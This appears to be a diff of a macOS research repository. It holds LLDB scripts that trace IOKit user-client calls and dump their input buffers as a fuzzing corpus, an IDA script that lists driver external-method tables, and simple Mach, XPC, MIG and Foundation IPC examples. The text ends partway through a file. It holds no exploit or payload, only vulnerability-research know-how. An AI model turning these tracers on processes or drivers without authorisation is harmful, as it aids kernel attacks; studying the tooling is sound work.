format_row("mach_port_t", "connection:", f"{hex(connection)}"),
format_row("uint32_t", "selector:", f"{hex(selector)}"),
format_row("const uint64_t *", "input:", f"{hex(input_ptr)}"),
format_row("uint32_t", "inputCnt:", f"{hex(inputCnt)}"),
format_row("const void *", "inputStruct:", f"{hex(inputStruct_ptr)}"),
format_row("size_t", "inputStructCnt:", f"{hex(inputStructCnt)}"),
format_row("uint64_t *", "output:", f"{hex(output_ptr)}"),
format_row("uint32_t *", "outputCnt:", f"{hex(outputCnt_ptr)}"),
format_row("void *", "outputStruct:", f"{hex(outputStruct_ptr)}"),
format_row("size_t *", "outputStructCnt:", f"{hex(outputStructCnt_ptr)}"),
]
lines.extend(rows)
# Input/Output scalars and struct hexdumps...
if inputStruct_ptr and inputStructCnt > 0:
lines.append("\nInput Struct Hexdump (first 32 bytes):")
dump = hexdump(process, inputStruct_ptr, min(inputStructCnt, 32))
lines.append(dump)
# (Additional logic for other pointers as in previous script)
result.PutCString("\n".join(lines))
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
def __lldb_init_module(debugger, internal_dict):
"""
Registers the 'iokit_dump' command when the script is loaded in LLDB.
"""
debugger.HandleCommand('command script add -f iokitargs.iokit_dump iokit_dump')
print("Loaded 'iokit_dump' command.")
print("Usage: iokit_dump [FILENAME]")

View File

@@ -0,0 +1,238 @@
#!/usr/bin/env python
# iokit_tracer.py (v5 - Complete Data Inspection)
import lldb
import shlex
import threading
import os
import re
# --- Shared State & Locking ---
g_lock = threading.Lock()
connection_info_map = {}
pending_connections = {}
# --- Helper Functions ---
def hexdump(process, address, count):
"""Returns a formatted hexdump string for a memory region."""
err = lldb.SBError()
# Limit the dump to a reasonable size to avoid flooding the console
count = min(count, 256)
if count == 0:
return "<empty>"
data = process.ReadMemory(address, count, err)
if not err.Success():
return f"<error reading memory at {hex(address)}: {err.GetCString()}>"
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_str = " ".join(f"{b:02x}" for b in chunk)
ascii_str = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
lines.append(f" {i:04x}: {hex_str:<48} |{ascii_str}|")
return "\n".join(lines)
def resolve_service_name(frame, service_ptr):
"""Evaluates IORegistryEntryGetName to get the service name from a service object."""
if not service_ptr: return "null_service"
expr = (f'char n[128]={{0}}; extern int IORegistryEntryGetName(void*,char*); IORegistryEntryGetName((void*){service_ptr},n); n')
val = frame.EvaluateExpression(expr)
if val.IsValid() and val.GetSummary():
s = val.GetSummary().strip('"')
if s and not s.startswith('0x'): return s
return f"0x{service_ptr:x}"
def sanitize_filename(s):
return re.sub(r'[^A-Za-z0-9._-]', '_', s)
# --- LLDB Hook Functions ---
def ioserviceopen_hook(frame, bp_loc, internal_dict):
"""Hook at IOServiceOpen. Stores args in a pending dictionary for the thread."""
thread = frame.GetThread()
target = thread.GetProcess().GetTarget()
service_ptr = frame.FindRegister("x0").GetValueAsUnsigned()
connect_ptr_addr = frame.FindRegister("x3").GetValueAsUnsigned()
if service_ptr and connect_ptr_addr:
with g_lock:
pending_connections[thread.GetThreadID()] = {
"service_name": resolve_service_name(frame, service_ptr),
"connect_ptr_addr": connect_ptr_addr,
"pid": thread.GetProcess().GetProcessID(),
"exe_path": target.GetModuleAtIndex(0).GetFileSpec().fullpath or "unknown",
"type": frame.FindRegister("x2").GetValueAsUnsigned()
}
return False
corpus_dir = None
corpus_counter = 0
def ioconnectcallmethod_hook(frame, bp_loc, internal_dict):
global corpus_counter
thread = frame.GetThread()
process = thread.GetProcess()
connection = frame.FindRegister("x0").GetValueAsUnsigned()
thread_id = thread.GetThreadID()
with g_lock:
info = connection_info_map.get(connection)
if not info and thread_id in pending_connections:
pending_info = pending_connections.pop(thread_id)
err = lldb.SBError()
handle = process.ReadUnsignedFromMemory(pending_info["connect_ptr_addr"], 4, err)
if err.Success() and handle != 0:
connection_info_map[handle] = pending_info
if handle == connection: info = pending_info
if info:
# Read all argument registers
selector = frame.FindRegister("x1").GetValueAsUnsigned()
input_ptr = frame.FindRegister("x2").GetValueAsUnsigned()
inputCnt = frame.FindRegister("x3").GetValueAsUnsigned()
inputStruct_ptr = frame.FindRegister("x4").GetValueAsUnsigned()
inputStructCnt = frame.FindRegister("x5").GetValueAsUnsigned()
output_ptr = frame.FindRegister("x6").GetValueAsUnsigned()
outputCnt_ptr = frame.FindRegister("x7").GetValueAsUnsigned()
outputStruct_ptr = frame.FindRegister("x8").GetValueAsUnsigned()
outputStructCnt_ptr = frame.FindRegister("x9").GetValueAsUnsigned()
err = lldb.SBError()
# --- Read output scalar count and output struct count for filename ---
outputCnt_val = process.ReadUnsignedFromMemory(outputCnt_ptr, 4, err) if outputCnt_ptr else 0
outputCnt_str = str(outputCnt_val) if err.Success() else "err"
outputStructCnt_val = process.ReadUnsignedFromMemory(outputStructCnt_ptr, 8, err) if outputStructCnt_ptr else 0
outputStructCnt_str = str(outputStructCnt_val) if err.Success() else "err"
# --- Dump inputStruct to corpus directory if requested ---
if corpus_dir and inputStruct_ptr and inputStructCnt > 0:
try:
data = process.ReadMemory(inputStruct_ptr, inputStructCnt, err)
if err.Success():
service_name = sanitize_filename(info['service_name'])
type_val = info['type']
# Find the next available n for the filename
n = 0
while True:
fname = (
f"corpus_{service_name}_{type_val}_{selector}_"
f"{inputCnt}_{inputStructCnt}_{outputCnt_str}_{outputStructCnt_str}_{n}.bin"
)
full_path = os.path.join(corpus_dir, fname)
if not os.path.exists(full_path):
break
n += 1
with open(full_path, "wb") as f:
f.write(data)
print(f"[iokit_tracer] Dumped inputStruct ({inputStructCnt} bytes) to {full_path}")
except Exception as e:
print(f"[iokit_tracer] Error dumping inputStruct: {e}")
# Read input scalars from memory
input_scalars = []
if input_ptr and inputCnt > 0:
for i in range(inputCnt):
val = process.ReadUnsignedFromMemory(input_ptr + i*8, 8, err)
input_scalars.append(f"{hex(val)}" if err.Success() else "<read_err>")
# Read output scalars (Note: This is post-call, data may not be valid yet on entry)
# We read the *capacity* of the output buffer from the pointer.
outputCnt_val = process.ReadUnsignedFromMemory(outputCnt_ptr, 4, err) if outputCnt_ptr else 0
outputCnt_str = str(outputCnt_val) if err.Success() else "<read_err>"
outputStructCnt_val = process.ReadUnsignedFromMemory(outputStructCnt_ptr, 8, err) if outputStructCnt_ptr else 0
outputStructCnt_str = str(outputStructCnt_val) if err.Success() else "<read_err>"
# Build output
lines = [
"----------------------------------------------------------------",
f"PID: {info['pid']} | EXE: {info['exe_path']}",
f"SERVICE: {info['service_name']} (Connection: {hex(connection)}) | TYPE: {info['type']}",
f"SELECTOR: {selector} (0x{selector:x})",
"--- INPUT ---",
f"input Scalars ({inputCnt} values at {hex(input_ptr)}): [{', '.join(input_scalars)}]",
f"inputStruct ({inputStructCnt} bytes at {hex(inputStruct_ptr)}):"
]
lines.append(hexdump(process, inputStruct_ptr, inputStructCnt))
lines.append("--- OUTPUT ---")
lines.append(f"outputCnt: {outputCnt_str} (capacity pointer: {hex(outputCnt_ptr)})")
lines.append(f"outputStructCnt: {outputStructCnt_str} (capacity pointer: {hex(outputStructCnt_ptr)})")
lines.append("----------------------------------------------------------------\n")
print("\n".join(lines))
# After printing all trace info, try to get the return value from the previous frame (caller)
result_code = None
caller_frame = thread.GetFrameAtIndex(1) if thread.GetNumFrames() > 1 else None
if caller_frame:
# On macOS/ARM64, return value is in x0; on x86_64, it's rax
reg = caller_frame.FindRegister("x0") if caller_frame.FindRegister("x0").IsValid() else caller_frame.FindRegister("rax")
if reg and reg.IsValid():
result_code = reg.GetValueAsUnsigned()
# Print result code if available
if result_code is not None:
print(f"[iokit_tracer] IOConnectCallMethod return code: 0x{result_code:x} ({result_code})")
else:
print("[iokit_tracer] IOConnectCallMethod return code: <unavailable>")
return False
def trace_iokit(debugger, command, result, internal_dict):
"""Command to attach or launch and set up the IOKit tracer."""
global corpus_dir, corpus_counter
args = shlex.split(command)
pid, path, prog_args = None, None, []
corpus_dir = None
corpus_counter = 0
# --- Parse -o/--out flag ---
if "-o" in args:
idx = args.index("-o")
if idx + 1 < len(args):
corpus_dir = args[idx + 1]
del args[idx:idx+2]
elif "--out" in args:
idx = args.index("--out")
if idx + 1 < len(args):
corpus_dir = args[idx + 1]
del args[idx:idx+2]
if corpus_dir:
os.makedirs(corpus_dir, exist_ok=True)
print(f"[iokit_tracer] Will dump inputStructs to: {corpus_dir}")
if "--pid" in args: pid = args[args.index("--pid") + 1]
if "--executable_path" in args: path = args[args.index("--executable_path") + 1]
if "--" in args: prog_args = args[args.index("--") + 1:]
with g_lock: connection_info_map.clear(); pending_connections.clear()
def setup_breakpoints(target):
bp_open = target.BreakpointCreateByName("IOServiceOpen")
bp_open.SetScriptCallbackFunction(f"{__name__}.ioserviceopen_hook")
bp_open.SetAutoContinue(True)
bp_call = target.BreakpointCreateByName("IOConnectCallMethod")
bp_call.SetScriptCallbackFunction(f"{__name__}.ioconnectcallmethod_hook")
bp_call.SetAutoContinue(True)
if path:
target = debugger.CreateTargetWithFileAndArch(path, lldb.LLDB_ARCH_DEFAULT)
setup_breakpoints(target)
err = lldb.SBError()
target.Launch(debugger.GetListener(), prog_args, None, None, None, None, ".", 0, False, err)
if err.Success(): print(f"Launched '{path}'. IOKit tracer is active.")
else: result.PutCString(f"Error launching: {err.GetCString()}")
elif pid:
debugger.HandleCommand(f'process attach --pid {pid}')
target = debugger.GetSelectedTarget()
if target and target.GetProcess().IsValid():
setup_breakpoints(target)
print(f"Attached to PID {pid}. IOKit tracer is active.")
debugger.HandleCommand('continue')
else: result.PutCString(f"Error: Failed to attach to PID {pid}")
else:
# Try to use the currently selected target and process
target = debugger.GetSelectedTarget()
process = target.GetProcess() if target else None
if target and process and process.IsValid() and process.GetState() in [lldb.eStateStopped, lldb.eStateRunning]:
setup_breakpoints(target)
print("Using current LLDB target/process. IOKit tracer is active.")
else:
result.PutCString("Error: Specify --pid <PID> or --executable_path <path>, or attach to a process first.")
def __lldb_init_module(debugger, internal_dict):
"""Registers the 'trace_iokit' command with LLDB."""
debugger.HandleCommand(f'command script add -f {__name__}.trace_iokit trace_iokit')
print("Loaded IOKit tracer. Use 'trace_iokit --pid <PID>' or 'trace_iokit --executable_path <path>'")

View File

@@ -0,0 +1,69 @@
import ida_bytes
import ida_name
import idc
def print_methods(start_addr, count, struct_type=0):
"""
Print details of external methods or method templates.
Args:
start_addr: Start address of methods array
count: Number of entries to process
struct_type: 0 for IOExternalMethodDispatch2022
1 for IOExternalMethodDispatch
2 for getTargetAndMethodForIndex methodTemplate
"""
if struct_type == 0:
struct_size = 0x28
elif struct_type == 1:
struct_size = 0x18
elif struct_type == 2:
struct_size = 0x30
else:
print("Unsupported struct_type.")
return
all_methods = []
print("Methods:")
print("-" * 40)
for i in range(count):
current_addr = start_addr + (i * struct_size)
func_ptr = idc.get_qword(current_addr)
func_name = ida_name.get_name(func_ptr) if func_ptr else "Unknown"
if struct_type == 2:
allow_async = idc.get_wide_byte(current_addr + 0x8)
scalar_input = idc.get_wide_dword(current_addr + 0x10)
struct_input = idc.get_wide_dword(current_addr + 0x14)
scalar_output = idc.get_wide_dword(current_addr + 0x18)
struct_output = idc.get_wide_dword(current_addr + 0x1C)
print(f"Method {i}: {func_name}")
print(f" Async: {bool(allow_async)}")
else:
print(f"Method {i}: {func_name}")
scalar_input = idc.get_wide_dword(current_addr + 8)
struct_input = idc.get_wide_dword(current_addr + 0xC)
scalar_output = idc.get_wide_dword(current_addr + 0x10)
struct_output = idc.get_wide_dword(current_addr + 0x14)
if struct_type == 0:
allow_async = idc.get_wide_byte(current_addr + 0x18)
entitlement_ptr = idc.get_qword(current_addr + 0x20)
if entitlement_ptr:
ent_str = idc.get_strlit_contents(entitlement_ptr, -1, idc.STRTYPE_C)
if ent_str:
print(f" Entitlement: {ent_str.decode('utf-8')}")
all_methods.append(f"{i}: [{scalar_input}, {struct_input}, {scalar_output}, {struct_output}]")
print("\nMethod summary (ID: [SCALAR_IN, IN_SIZE, SCALAR_OUT, OUT_SIZE]):")
for m in all_methods:
print(m)
# Usage in IDA:
# print_methods(0xFFFFFE000835F490, 20, 2) # For getTargetAndMethodForIndex
# print_methods(0xFFFFFE0007DCDBD8, 15, 1) # For old format
# print_methods(0xFFFFFE0007F647A0, 10) # For 2022 format

View File

@@ -0,0 +1,109 @@
"""
trace_ioserviceopen.py
Trace IOServiceOpen calls in a target process using LLDB Python scripting to get Service Names and User Client types.
How to use:
1. In LLDB, import this script:
(lldb) command script import trace_ioserviceopen.py
2. Start tracing with:
(lldb) setup_ioserviceopen --executable_path EXE_PATH -- [args...]
or
(lldb) setup_ioserviceopen --pid PID
What it does:
- Sets a breakpoint on IOServiceOpen.
- On every call, prints:
- PID
- Executable path
- IOService name
- Type
- Does not stop or break execution; output is continuous and non-intrusive.
"""
import lldb
import shlex
def ioserviceopen_trace_hook(frame, bp_loc, dict):
# Get target and process objects from the current frame
target = frame.GetThread().GetProcess().GetTarget()
process = frame.GetThread().GetProcess()
pid = process.GetProcessID()
# Get the main module (executable) path
module = target.GetModuleAtIndex(0)
exe_path = module.GetFileSpec().fullpath or "unknown"
# x0 holds the IOService pointer, x2 holds the type argument
service = frame.FindRegister("x0").GetValueAsUnsigned()
type_val = frame.FindRegister("x2").GetValueAsUnsigned()
# Try to resolve the IOService name using IORegistryEntryGetName.
# This only works if the symbol is available and the process is not restricted.
name_str = f"0x{service:x}"
try:
# Evaluate an expression in the target to call IORegistryEntryGetName.
# This is safe if the symbol is present and the process allows it.
expr = (
'char name[128] = {0}; '
'extern int IORegistryEntryGetName(void*, char*); '
f'IORegistryEntryGetName((void*){service}, name); '
'name'
)
val = frame.EvaluateExpression(expr)
if val.IsValid() and val.GetSummary():
s = val.GetSummary().strip('"')
if s and not s.startswith('0x'):
name_str = s
except Exception:
# If anything fails, just show the pointer value
pass
print(f"\nPID: {pid}\nEXE PATH: {exe_path}\nSERVICE: {name_str}\nTYPE: {type_val}\n")
# Returning False tells LLDB to auto-continue without stopping at the breakpoint
return False
def setup_ioserviceopen(debugger, command, result, internal_dict):
args = shlex.split(command)
executable_path = None
pid = None
program_args = []
i = 0
# Parse command-line arguments for executable path, pid, and any program arguments
while i < len(args):
if args[i] == "--executable_path" and i + 1 < len(args):
executable_path = args[i + 1]
i += 2
elif args[i] == "--pid" and i + 1 < len(args):
pid = args[i + 1]
i += 2
elif args[i] == "--" and i + 1 < len(args):
program_args = args[i + 1:]
break
else:
i += 1
if executable_path and pid:
print("Error: Specify either --executable_path or --pid", file=result)
return
if not executable_path and not pid:
print("Error: Specify --executable_path or --pid", file=result)
return
# Set up the target and breakpoint, and ensure auto-continue is enabled
if executable_path:
debugger.HandleCommand(f'target create "{executable_path}"')
bp = debugger.GetSelectedTarget().BreakpointCreateByName("IOServiceOpen")
bp.SetScriptCallbackFunction("trace_ioserviceopen.ioserviceopen_trace_hook")
bp.SetAutoContinue(True)
debugger.HandleCommand(f'process launch -- {" ".join(shlex.quote(arg) for arg in program_args)}')
elif pid:
debugger.HandleCommand(f'process attach --pid {pid}')
bp = debugger.GetSelectedTarget().BreakpointCreateByName("IOServiceOpen")
bp.SetScriptCallbackFunction("trace_ioserviceopen.ioserviceopen_trace_hook")
bp.SetAutoContinue(True)
debugger.HandleCommand('continue')
def __lldb_init_module(debugger, internal_dict):
# Register the setup command with LLDB
debugger.HandleCommand('command script add -f trace_ioserviceopen.setup_ioserviceopen setup_ioserviceopen')

View File

@@ -0,0 +1,8 @@
#include <mach/mach.h>
int main() {
mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
return 0; // Port allocation directly interacts with kernelspace
}

View File

@@ -0,0 +1,15 @@
CC = clang
FRAMEWORK = -framework Foundation
all: client server
client: client.m
$(CC) $(FRAMEWORK) client.m -o client
server: server.m
$(CC) $(FRAMEWORK) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,16 @@
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) return 1;
CFMessagePortRef port = CFMessagePortCreateRemote(NULL, CFSTR("com.crimson.message_service"));
if (port) {
NSString *msg = [NSString stringWithUTF8String:argv[1]];
NSData *data = [msg dataUsingEncoding:NSUTF8StringEncoding];
CFMessagePortSendRequest(port, 0, (__bridge CFDataRef)data, 1, 1, NULL, NULL);
CFRelease(port);
}
}
return 0;
}

View File

@@ -0,0 +1,18 @@
// server.m
// clang -framework Foundation server.m -o server
#import <Foundation/Foundation.h>
static CFDataRef callback(CFMessagePortRef port, SInt32 msgid, CFDataRef data, void *info) {
NSLog(@"Received: %@", [[NSString alloc] initWithData:(__bridge NSData *)data encoding:NSUTF8StringEncoding]);
return NULL;
}
int main() {
@autoreleasepool {
CFMessagePortRef port = CFMessagePortCreateLocal(NULL, CFSTR("com.crimson.message_service"), callback, NULL, NULL);
CFRunLoopSourceRef source = CFMessagePortCreateRunLoopSource(NULL, port, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,15 @@
CC = clang
CFLAGS = -framework Foundation
all: client server
client: client.m
$(CC) $(CFLAGS) client.m -o client
server: server.m
$(CC) $(CFLAGS) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,17 @@
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) {
NSLog(@"Usage: %s <message>", argv[0]);
return 1;
}
NSConnection *connection = [NSConnection connectionWithRegisteredName:@"com.crimson.message_service" host:nil];
id<NSObject> server = [connection rootProxy];
NSString *message = [NSString stringWithUTF8String:argv[1]];
[server handleMessage:message];
}
return 0;
}

View File

@@ -0,0 +1,22 @@
#import <Foundation/Foundation.h>
@interface MessageServer : NSObject
- (void)handleMessage:(NSString *)message;
@end
@implementation MessageServer
- (void)handleMessage:(NSString *)message {
NSLog(@"Received: %@", message);
}
@end
int main() {
@autoreleasepool {
MessageServer *server = [[MessageServer alloc] init];
NSConnection *connection = [NSConnection defaultConnection];
[connection setRootObject:server];
[connection registerName:@"com.crimson.message_service"];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,13 @@
CC=clang
FRAMEWORKS=-framework Foundation
all: server client
server: server.m
$(CC) $(FRAMEWORKS) server.m -o server
client: client.m
$(CC) $(FRAMEWORKS) client.m -o client
clean:
rm -f server client

View File

@@ -0,0 +1,19 @@
// client.m
#import <Foundation/Foundation.h>
#import <servers/bootstrap.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) return 1;
mach_port_t bp, port;
task_get_bootstrap_port(mach_task_self(), &bp);
bootstrap_look_up(bp, "com.crimson.message_service", &port);
NSMachPort *machPort = [[NSMachPort alloc] initWithMachPort:port];
NSData *data = [[NSString stringWithUTF8String:argv[1]] dataUsingEncoding:NSUTF8StringEncoding];
NSMutableArray *components = [NSMutableArray arrayWithObject:data];
[machPort sendBeforeDate:[NSDate date] msgid:0 components:components from:nil reserved:0];
}
return 0;
}

View File

@@ -0,0 +1,31 @@
// server.m
#import <Foundation/Foundation.h>
#import <servers/bootstrap.h>
@interface Server : NSObject <NSMachPortDelegate>
@end
@implementation Server
- (void)handlePortMessage:(NSPortMessage *)message {
NSData *data = [[message components] firstObject];
NSString *msg = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
NSLog(@"Received: %@", msg);
}
@end
int main() {
@autoreleasepool {
Server *server = [[Server alloc] init];
mach_port_t bp;
task_get_bootstrap_port(mach_task_self(), &bp);
mach_port_t servicePort;
kern_return_t kr = bootstrap_check_in(bp, "com.crimson.message_service", &servicePort);
if (kr != KERN_SUCCESS) return 1;
NSMachPort *port = [[NSMachPort alloc] initWithMachPort:servicePort];
port.delegate = server;
[[NSRunLoop currentRunLoop] addPort:port forMode:NSDefaultRunLoopMode];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,15 @@
CC = clang
CFLAGS = -framework Foundation
all: client server
client: client.m
$(CC) $(CFLAGS) client.m -o client
server: server.m
$(CC) $(CFLAGS) server.m -o server
clean:
rm -f client server *.o
.PHONY: all clean

View File

@@ -0,0 +1,19 @@
// client.m
#import <Foundation/Foundation.h>
int main(int argc, char *argv[]) {
@autoreleasepool {
if (argc != 2) {
NSLog(@"Usage: %s <message>", argv[0]);
return 1;
}
NSString *message = [NSString stringWithUTF8String:argv[1]];
[[NSDistributedNotificationCenter defaultCenter]
postNotificationName:@"com.crimson.message_service"
object:nil
userInfo:@{@"message": message}
deliverImmediately:YES];
}
return 0;
}

View File

@@ -0,0 +1,31 @@
// server.m
#import <Foundation/Foundation.h>
@interface MessageServer : NSObject
- (void)handleMessage:(NSNotification *)notification;
@end
@implementation MessageServer
- (id)init {
if (self = [super init]) {
[[NSDistributedNotificationCenter defaultCenter]
addObserver:self
selector:@selector(handleMessage:)
name:@"com.crimson.message_service"
object:nil];
}
return self;
}
- (void)handleMessage:(NSNotification *)notification {
NSLog(@"Received: %@", notification.userInfo[@"message"]);
}
@end
int main() {
@autoreleasepool {
MessageServer *server = [[MessageServer alloc] init];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}

View File

@@ -0,0 +1,58 @@
# Compiler and flags
CC = gcc
CFLAGS = -Wall -Wextra -O2 # Enable warnings and basic optimization
FRAMEWORKS = -framework Foundation
# Binary names and paths
SERVICE_NAME = crimson_xpc_service
CLIENT_NAME = crimson_xpc_client
INSTALL_PATH = /usr/local/bin
LAUNCHD_PATH = /Library/LaunchDaemons
PLIST_NAME = com.crimson.xpc.message_service.plist
# Source files
SERVICE_SRC = crimson_xpc_service.c
CLIENT_SRC = crimson_xpc_client.c
# Default target builds both executables
all: $(SERVICE_NAME) $(CLIENT_NAME)
# Build the XPC service
$(SERVICE_NAME): $(SERVICE_SRC)
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
# Build the XPC client
$(CLIENT_NAME): $(CLIENT_SRC)
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
# Install everything (requires sudo)
install: all
@echo "Installing XPC service and client..."
sudo cp $(SERVICE_NAME) $(INSTALL_PATH)/
sudo cp $(PLIST_NAME) $(LAUNCHD_PATH)/
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
sudo launchctl load $(LAUNCHD_PATH)/$(PLIST_NAME)
@echo "Installation complete"
# Clean up compiled files
clean:
rm -f $(SERVICE_NAME) $(CLIENT_NAME)
# Uninstall everything (requires sudo)
uninstall:
@echo "Uninstalling XPC service and client..."
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
sudo rm -f $(INSTALL_PATH)/$(SERVICE_NAME)
sudo rm -f $(LAUNCHD_PATH)/$(PLIST_NAME)
@echo "Uninstallation complete"
# Help target to show available commands
help:
@echo "Available targets:"
@echo " make all - Build both service and client"
@echo " make install - Install and load the service (requires sudo)"
@echo " make clean - Remove compiled files"
@echo " make uninstall - Remove installed files (requires sudo)"
# Declare our phony targets (targets that don't create files)
.PHONY: all install clean uninstall help

View File

@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.crimson.xpc.message_service</string>
<key>Program</key>
<string>/usr/local/bin/crimson_xpc_service</string>
<key>MachServices</key>
<dict>
<key>com.crimson.xpc.message_service</key>
<true/>
</dict>
<key>KeepAlive</key>
<false/>
</dict>
</plist>

View File

@@ -0,0 +1,62 @@
// crimson_xpc_client.c
// This client demonstrates how to create and manage an XPC connection to communicate
// with a LaunchDaemon or LaunchAgent service
#include <xpc/xpc.h> // XPC framework for secure inter-process communication
#include <dispatch/dispatch.h> // GCD for asynchronous operations and event handling
#include <stdio.h> // Standard I/O for error reporting and status messages
#include <stdlib.h> // Standard library for program termination functions
int main(void) {
// Initialize an XPC connection to a Mach service
// The service name must match the label in the service's plist file
// XPC_CONNECTION_MACH_SERVICE_PRIVILEGED indicates this client expects
// to connect to a privileged service (typically a LaunchDaemon)
xpc_connection_t conn = xpc_connection_create_mach_service(
"com.crimson.xpc.message_service",
dispatch_get_main_queue(), // Main queue handles all connection events
XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);
// Configure an event handler for connection-level events
// This handler processes XPC_TYPE_ERROR events, which occur on
// connection failures, service termination, or invalid messages
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_ERROR) {
fprintf(stderr, "Connection error: %s\n",
xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
});
// Activate the connection to begin processing events
// Must be called before any messages can be sent
xpc_connection_resume(conn);
// Create an XPC dictionary to encapsulate the message data
// XPC dictionaries are the primary container type for XPC messages
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message_data", "Hello from Crimson!");
// Send message and handle response asynchronously
// The reply block executes when the service responds or on timeout
xpc_connection_send_message_with_reply(conn, message,
dispatch_get_main_queue(), ^(xpc_object_t reply) {
if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) {
printf("Reply status: %s\n",
xpc_dictionary_get_string(reply, "status"));
}
// Schedule program termination after reply processing
// Using dispatch_async ensures clean shutdown
dispatch_async(dispatch_get_main_queue(), ^{
exit(0);
});
});
// Decrement the message object's reference count
// XPC uses manual reference counting for memory management
xpc_release(message);
// Run the main dispatch loop to process asynchronous events
// This call never returns - program exits via the reply handler
dispatch_main();
}

View File

@@ -0,0 +1,57 @@
// crimson_xpc_service.c
// This implements an XPC service that can be launched as a LaunchDaemon or LaunchAgent
// It demonstrates basic XPC message handling and connection management patterns
#include <xpc/xpc.h> // XPC for inter-process communication
#include <dispatch/dispatch.h> // GCD for asynchronous event handling
#include <stdio.h> // Standard I/O for logging messages
int main(void) {
// Initialize the XPC service listener
// XPC_CONNECTION_MACH_SERVICE_LISTENER indicates this process will accept incoming connections
// The service name must match both the client and the service's launchd plist MachServices entry
xpc_connection_t service = xpc_connection_create_mach_service(
"com.crimson.xpc.message_service",
dispatch_get_main_queue(), // Main queue handles all service events
XPC_CONNECTION_MACH_SERVICE_LISTENER
);
// Set up handler for new client connections
// This outer handler processes connection establishment events
// Each new client connection creates a new peer object
xpc_connection_set_event_handler(service, ^(xpc_object_t peer) {
// Security check: Validate connection object type
// Early return prevents processing of invalid connection attempts
if (xpc_get_type(peer) != XPC_TYPE_CONNECTION) return;
// Configure message handler for this specific client connection
// Each client gets its own message handler to maintain separation
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
// Only process dictionary-type messages for protocol compliance
if (xpc_get_type(message) == XPC_TYPE_DICTIONARY) {
// Extract message data with bounds checking via len parameter
// This prevents buffer overflow vulnerabilities
size_t len;
const void* data = xpc_dictionary_get_data(message, "message_data", &len);
if (data) printf("Received: %.*s\n", (int)len, (char*)data);
// Create and send reply to the client
// xpc_dictionary_create_reply maintains message context for proper routing
xpc_object_t reply = xpc_dictionary_create_reply(message);
xpc_dictionary_set_string(reply, "status", "received");
xpc_connection_send_message(peer, reply);
xpc_release(reply); // Clean up reply object to prevent memory leaks
}
});
// Activate this client's connection to begin processing its messages
xpc_connection_resume(peer);
});
// Activate the service listener to begin accepting connections
xpc_connection_resume(service);
// Run the main dispatch loop
// This service will continue running until terminated by launchd
dispatch_main();
}

View File

@@ -0,0 +1,26 @@
# Makefile for Mach IPC example with MIG
# Compiler settings
CC = gcc
CFLAGS = -Wall -Werror
# Default target
all: server client
# Generate MIG files from definition
mig_files: message.defs
mig message.defs
# Build server with MIG-generated files
server: mig_files server.c messageServer.c
$(CC) $(CFLAGS) server.c messageServer.c -o server
# Build client with MIG-generated files
client: mig_files client.c messageUser.c
$(CC) $(CFLAGS) client.c messageUser.c -o client
# Clean generated files and executables
clean:
rm -f server client message.h messageUser.c messageServer.c
.PHONY: all clean mig_files

View File

@@ -0,0 +1,29 @@
// client.c - MIG version
#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "message.h" // MIG-generated header
int main(int argc, char *argv[]) {
// Validate command line arguments
if (argc != 2) {
printf("Usage: %s <message>\n", argv[0]);
return 1;
}
// Get bootstrap port for service lookup
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port,
"com.crimson.message_service",
&port);
if (kr != KERN_SUCCESS) {
printf("Service not found\n");
return 1;
}
// Use MIG-generated function to send message
// This handles all the message structure creation internally
USER_send_message(port, (pointer_t)argv[1], strlen(argv[1]));
return 0;
}

View File

@@ -0,0 +1,17 @@
// message.defs - MIG Interface Definition
subsystem message 400; // Define subsystem name and ID
// Prefix for generated client and server function names
userprefix USER_;
serverprefix SERVER_;
// Include necessary Mach type definitions
#include <mach/mach_types.defs>
#include <mach/std_types.defs>
// Define our message passing routine
// 'simpleroutine' means one-way communication (no reply expected)
// pointer_t is used for variable-length data
simpleroutine send_message(
server_port : mach_port_t; // Port to send message to
message : pointer_t); // Message data

View File

@@ -0,0 +1,39 @@
// server.c - MIG version
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "message.h"
// Function prototype for MIG-generated server function
extern boolean_t message_server(
mach_msg_header_t *InHeadP,
mach_msg_header_t *OutHeadP);
// Implementation of our message handling function
// This is called by MIG-generated code when a message arrives
kern_return_t SERVER_send_message(
mach_port_t server_port,
vm_offset_t message,
mach_msg_type_number_t messageCnt)
{
// Simply print the received message
